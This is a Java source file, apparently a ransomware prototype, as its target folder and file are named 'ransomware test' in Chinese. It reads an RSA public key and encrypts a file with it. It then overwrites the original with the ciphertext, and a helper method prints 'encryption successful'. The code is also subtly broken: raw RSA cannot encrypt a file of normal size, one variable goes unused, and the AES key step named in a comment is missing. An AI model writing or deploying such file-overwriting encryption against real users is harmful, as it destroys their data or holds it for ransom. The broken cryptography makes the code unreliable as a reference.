import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.*;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;

public class FileEncrypter {
    public static void main(String[] args) throws Exception {
        byte[] publicKeyBytes = readFromFile("./key/publicKey.pub");
        PublicKey publicKey = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(publicKeyBytes));
        byte[] inputBytes = readFromFile("/Users/ni/Desktop/勒索病毒测试/勒索病毒测试.pptx");
        String pub = String.valueOf(publicKey.getEncoded());
        byte[] encryptedBytes = encryptUsingPublicKey(inputBytes, publicKey);
        writeToFile("/Users/ni/Desktop/勒索病毒测试/勒索病毒测试.pptx", encryptedBytes);

    }



    public static byte[] readFromFile(String fileName) throws Exception {
        try (FileInputStream inputStream = new FileInputStream(fileName)) {
            byte[] buffer = new byte[inputStream.available()];
            inputStream.read(buffer);
            return buffer;
        }
    }
    public static byte[] encryptUsingPublicKey(byte[] inputBytes, PublicKey publicKey)
            throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeySpecException, InvalidKeyException,
            IllegalBlockSizeException, BadPaddingException {
        Cipher rsaCipher = Cipher.getInstance("RSA");
        rsaCipher.init(Cipher.ENCRYPT_MODE, publicKey);
        return rsaCipher.doFinal(inputBytes);
    }

    public static void writeToFile(String fileName, byte[] content) throws IOException {
        try (FileOutputStream outputStream = new FileOutputStream(fileName)) {
            outputStream.write(content);
            outputStream.flush();
        }
    }

    //加密AES密钥处理
    public static void encry(String filePath) throws Exception {
        byte[] publicKeyBytes = readFromFile("./key/publicKey.pub");
        PublicKey publicKey = KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(publicKeyBytes));
        byte[] inputBytes = readFromFile(filePath);
        String pub = String.valueOf(publicKey.getEncoded());
        byte[] encryptedBytes = encryptUsingPublicKey(inputBytes, publicKey);
        writeToFile(filePath, encryptedBytes);
        System.out.println("加密成功");
    }
}
